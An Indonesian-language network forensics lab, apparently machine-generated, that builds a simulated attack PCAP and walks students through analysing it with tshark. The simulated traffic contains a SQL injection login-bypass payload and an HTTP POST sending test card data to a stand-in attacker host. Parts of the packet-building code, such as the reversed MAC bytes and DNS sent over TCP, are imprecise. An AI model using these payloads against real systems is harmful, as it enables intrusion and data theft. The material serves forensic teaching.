Lab 4: Network Forensics - Menyelidiki Traffic Jaringan dari PCAP

Target Skill: Mahasiswa mampu menganalisis file PCAP untuk mengidentifikasi serangan jaringan, mengekstrak file, dan merekonstruksi komunikasi
Tools: tshark, tcpdump, ngrep
Durasi: 45 menit
Level: Beginner

Mengapa Network Forensics Penting?

Jaringan adalah jalan utama bagi attacker untuk:

Mengirim exploit ke target
Meng-exfiltrate data curian
Berkomunikasi dengan C2 (Command & Control)
Menyebarkan malware lateral

Dengan menganalisis PCAP (Packet Capture), kita bisa merekonstruksi seluruh komunikasi - termasuk yang sudah terjadi. Ini seperti CCTV untuk jaringan Anda.

Learning Objectives

Membuat PCAP sendiri dengan tcpdump
Menganalisis header paket dengan tshark
Mengidentifikasi serangan dari pola traffic
Mengekstrak file yang ditransfer via HTTP
Follow TCP stream untuk membaca percakapan

️ Tools & Setup

sudo apt install -y tshark tcpdump ngrep

Langkah Praktikum

Step 1: Buat PCAP untuk Analisis

Kita buat sample PCAP dengan skenario serangan:

cd ~ && mkdir forensics-lab4 && cd forensics-lab4

Buat script untuk generate PCAP simulasi:

# Buat skenario serangan dengan Python (generate pcap)
cat > generate-pcap.py << 'PYEOF'
import struct, time, os

def write_pcap(filename, packets):
    """Generate a minimal PCAP file for educational purposes."""
    with open(filename, 'wb') as f:
        # Global header (PCAP format)
        f.write(struct.pack('<IHHiIII', 
            0xa1b2c3d4,  # magic
            2, 4,         # version
            0,            # thiszone
            0,            # sigfigs
            65535,        # snaplen
            1))           # Ethernet
    
        for ts, pkt in packets:
            # Packet header
            sec = int(ts)
            usec = int((ts - sec) * 1000000)
            f.write(struct.pack('<IIII', sec, usec, len(pkt), len(pkt)))
            f.write(pkt)

def make_eth_ip_tcp(src_mac, dst_mac, src_ip, dst_ip, src_port, dst_port, flags, payload):
    """Build Ethernet/IP/TCP packet."""
    # Ethernet header
    eth = bytes.fromhex(src_mac.replace(':', ''))[::-1]
    eth += bytes.fromhex(dst_mac.replace(':', ''))[::-1]  
    eth += struct.pack('!H', 0x0800)  # IPv4
    
    # IP header
    ip_hdr = bytearray(20)
    ip_hdr[0] = 0x45  # Version=4, IHL=5
    ip_hdr[1] = 0     # DSCP
    total_len = 20 + 20 + len(payload)  # IP + TCP + payload
    struct.pack_into('!H', ip_hdr, 2, total_len)
    ip_hdr[4:8] = b'\x00\x00\x40\x00'  # ID, flags=DF
    ip_hdr[8] = 64     # TTL
    ip_hdr[9] = 6      # TCP
    struct.pack_into('!I', ip_hdr, 12, src_ip)
    struct.pack_into('!I', ip_hdr, 16, dst_ip)
    
    # IP checksum
    checksum = 0
    for i in range(0, 20, 2):
        checksum += struct.unpack('!H', ip_hdr[i:i+2])[0]
    while checksum > 0xFFFF:
        checksum = (checksum & 0xFFFF) + (checksum >> 16)
    struct.pack_into('!H', ip_hdr, 10, ~checksum & 0xFFFF)
    
    # TCP header
    tcp_hdr = bytearray(20)
    struct.pack_into('!H', tcp_hdr, 0, src_port)
    struct.pack_into('!H', tcp_hdr, 2, dst_port)
    tcp_hdr[12:14] = flags  # flags + data offset=5 (0x50)
    
    # TCP sequence/ack
    struct.pack_into('!I', tcp_hdr, 4, 1000)  # seq
    struct.pack_into('!I', tcp_hdr, 8, 2000)  # ack
    
    # TCP window
    struct.pack_into('!H', tcp_hdr, 14, 65535)
    
    return bytes(eth) + bytes(ip_hdr) + bytes(tcp_hdr) + payload

# Build packets
import socket

SRC_IP = socket.inet_aton('192.168.1.10')
DST_IP = socket.inet_aton('10.0.0.5')
ATTACK_IP = socket.inet_aton('203.0.113.5')
SERVER_IP = socket.inet_aton('192.168.1.10')

now = time.time()
packets = []

# 1. Normal HTTP request
http_req = b'GET /index.html HTTP/1.1\r\nHost: example.com\r\nUser-Agent: Mozilla/5.0\r\n\r\n'
p = make_eth_ip_tcp('aa:bb:cc:dd:ee:ff', '11:22:33:44:55:66', 
                    socket.INADDR_ANY, SERVER_IP, 49152, 80,
                    b'\x50\x18', http_req)
packets.append((now, p))

# 2. SQL Injection attempt
sqli_req = b"GET /login.php?user=admin' OR '1'='1&pass=test HTTP/1.1\r\nHost: target.com\r\n\r\n"
p = make_eth_ip_tcp('aa:bb:cc:dd:ee:ff', '11:22:33:44:55:66',
                    ATTACK_IP, SERVER_IP, 54321, 80,
                    b'\x50\x18', sqli_req)
packets.append((now + 0.5, p))

# 3. HTTP response with data
http_resp = b'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<html><body>Admin Panel</body></html>'
p = make_eth_ip_tcp('11:22:33:44:55:66', 'aa:bb:cc:dd:ee:ff',
                    SERVER_IP, ATTACK_IP, 80, 54321,
                    b'\x50\x18', http_resp)
packets.append((now + 1.0, p))

# 4. Data exfiltration (POST with sensitive data)
exfil_req = b'POST /upload HTTP/1.1\r\nHost: attacker.com\r\nContent-Length: 45\r\n\r\ncreditcard=4111222233334444&exp=12/26&cvv=123'
p = make_eth_ip_tcp('aa:bb:cc:dd:ee:ff', '11:22:33:44:55:66',
                    SERVER_IP, ATTACK_IP, 49153, 80,
                    b'\x50\x18', exfil_req)
packets.append((now + 2.0, p))

# 5. DNS query to suspicious domain
dns_query = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00' + \
            b'\x0bmalware-c2\x03com\x00\x00\x01\x00\x01'
p = make_eth_ip_tcp('aa:bb:cc:dd:ee:ff', '11:22:33:44:55:66',
                    SERVER_IP, socket.inet_aton('8.8.8.8'), 49154, 53,
                    b'\x50\x18', dns_query)
# Hack: override IP proto to UDP-like for DNS (simplified)
# For learning purposes, just note DNS runs on UDP normally

# Use simpler approach
p = make_eth_ip_tcp('aa:bb:cc:dd:ee:ff', '11:22:33:44:55:66',
                    SERVER_IP, socket.inet_aton('8.8.8.8'), 49154, 53,
                    b'\x50\x18', dns_query)
packets.append((now + 2.5, p))

write_pcap('simulasi-serangan.pcap', packets)
print("✅ PCAP generated: simulasi-serangan.pcap")
print(f"   Packets: {len(packets)}")
PYEOF

python3 generate-pcap.py

Step 2: Analisis Dasar PCAP

# 1. Statistik paket
echo "=== Statistik PCAP ==="
capinfos simulasi-serangan.pcap 2>/dev/null || tshark -r simulasi-serangan.pcap 2>&1 | head -1

# 2. Lihat semua paket
echo ""
echo "=== Semua Paket ==="
tshark -r simulasi-serangan.pcap -T fields -e frame.number -e ip.src -e ip.dst -e http.request.method -e http.request.uri 2>/dev/null || \
tshark -r simulasi-serangan.pcap 2>/dev/null

Step 3: Filter Paket HTTP

# 3. Filter hanya HTTP
echo "=== HTTP Traffic ==="
tshark -r simulasi-serangan.pcap -Y "http" 2>/dev/null

# 4. Lihat request URI
echo ""
echo "=== HTTP Request URIs ==="
tshark -r simulasi-serangan.pcap -Y "http.request" -T fields -e http.request.method -e http.request.uri 2>/dev/null

Step 4: Follow TCP Stream

# 5. Tampilkan isi percakapan HTTP lengkap
echo "=== TCP Stream (HTTP) ==="
tshark -r simulasi-serangan.pcap -z follow,tcp,ascii,0 2>/dev/null

# Alternatif: baca raw
echo ""
echo "=== Stream 0 ==="
tshark -r simulasi-serangan.pcap -q -z follow,tcp,ascii,0 2>/dev/null

Step 5: Ekstrak File dari PCAP

# 6. Export objek HTTP (file yang ditransfer)
echo "=== Export HTTP Objects ==="
mkdir -p exported-files
tshark -r simulasi-serangan.pcap --export-objects "http,exported-files" 2>/dev/null
ls -la exported-files/ 2>/dev/null || echo "Tidak ada objek HTTP yang bisa diekstrak (PCAP simulasi)"

Step 6: Analisis Lanjutan

# 7. Statistik endpoint (siapa ngobrol dengan siapa)
echo "=== Endpoint Statistics ==="
tshark -r simulasi-serangan.pcap -z endpoints,ip 2>/dev/null

# 8. Statistik protokol
echo ""
echo "=== Protocol Hierarchy ==="
tshark -r simulasi-serangan.pcap -z io,phs 2>/dev/null

# 9. Cari pattern mencurigakan dengan ngrep
echo ""
echo "=== Pattern: credit card ==="
ngrep -q -I simulasi-serangan.pcap "creditcard" 2>/dev/null || echo "(ngrep tidak installed atau tidak mendukung format ini)"

️ Analisis & Pertanyaan

1. Skenario Serangan dari PCAP

Berdasarkan 5 paket di PCAP:

Paket	Waktu	SRC → DST	Konten	Indikasi
1	+0s	User → Server	`GET /index.html`	Normal browsing
2	+0.5s	Attacker → Server	`GET /login.php?user=admin' OR '1'='1`	SQL Injection
3	+1.0s	Server → Attacker	`200 OK, Admin Panel`	Login berhasil!
4	+2.0s	Server → Attacker	`POST /upload creditcard=...`	Data Exfiltration
5	+2.5s	Server → 8.8.8.8	DNS query `malware-c2.com`	C2 Communication

2. Urutan Serangan

Attacker scan → menemukan login page
SQL Injection → bypass login → masuk Admin Panel
Extract data → POST data kartu kredit ke attacker.com
DNS query ke malware-c2.com → komunikasi C2

3. Tshark Filter Berguna

# Filter penting untuk forensik jaringan
tshark -r file.pcap -Y "http.request.method == POST"           # Cari data terkirim
tshark -r file.pcap -Y "http.request.uri contains 'admin'"     # Cari akses admin
tshark -r file.pcap -Y "ip.src == 203.0.113.5"                 # Filter IP tertentu
tshark -r file.pcap -Y "tcp.port == 4444"                      # Port mencurigakan
tshark -r file.pcap -Y "data-text-lines contains 'password'"   # Cari password

Laporan Temuan

Finding 1: SQL Injection Attack (Critical)

Parameter	Value
IP Attacker	203.0.113.5
Target	192.168.1.10:80/login.php
Payload	`admin' OR '1'='1`
Hasil	Bypass autentikasi → akses Admin Panel

Bukti: Paket #2 - HTTP GET dengan SQL Injection pattern

Finding 2: Data Exfiltration via HTTP POST (Critical)

Parameter	Value
Tujuan	attacker.com:80
Data	Kartu kredit (4111-2222-3333-4444)
Metode	POST HTTP plaintext
Waktu	2 detik setelah SQLi berhasil

Bukti: Paket #4 - HTTP POST body mengandung data kartu kredit

Finding 3: C2 Domain Communication

Parameter	Value
Domain	malware-c2.com
Tipe Query	DNS A record
Waktu	Setelah exfiltration

Bukti: Paket #5 - DNS query ke domain mencurigakan

Korelasi OWASP / CWE / CAPEC

Kerangka	ID	Deskripsi
OWASP	A03:2021	Injection (SQL Injection)
CWE	CWE-89	SQL Injection
CWE	CWE-312	Cleartext Storage of Sensitive Data
CWE	CWE-319	Cleartext Transmission
CAPEC	CAPEC-66	SQL Injection
CAPEC	CAPEC-117	Interception

️ Remediasi

Masalah	Solusi	Tools
SQL Injection	Prepared statements / ORM	Parameterized queries
Plaintext HTTP	Enforce HTTPS/TLS	Let's Encrypt, Cloudflare
Data exfiltration	DLP + egress filtering	Snort/Suricata rules
C2 communication	DNS monitoring + blocklist	Pi-hole, security DNS
Network monitoring	IDS/IPS	Suricata, Zeek (Bro)

# Setup Suricata IDS (minimal)
sudo apt install -y suricata
sudo suricata -r file.pcap -l ./suricata-logs/

Kesimpulan & Refleksi

Apa yang dipelajari:

PCAP menyimpan setiap paket yang lewat di jaringan
tshark bisa memfilter, menganalisis, dan mengekstrak dari PCAP
SQL injection meninggalkan jejak di HTTP request URI
Data exfiltration bisa dideteksi dari POST request mencurigakan
DNS query bisa mengungkap komunikasi C2

Refleksi untuk mahasiswa:

"Di jaringan, tidak ada yang benar-benar privat tanpa enkripsi. Setiap HTTP request adalah bukti yang bisa dibaca siapa saja yang memiliki PCAP. Inilah kenapa HTTPS bukan optional - tapi wajib. Dan sebagai investigator, PCAP adalah saksi bisu yang tidak bisa berbohong."

Referensi

🔬 Lab 4 Selesai! Lanjut ke Lab 5: String & Metadata Analysis

Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy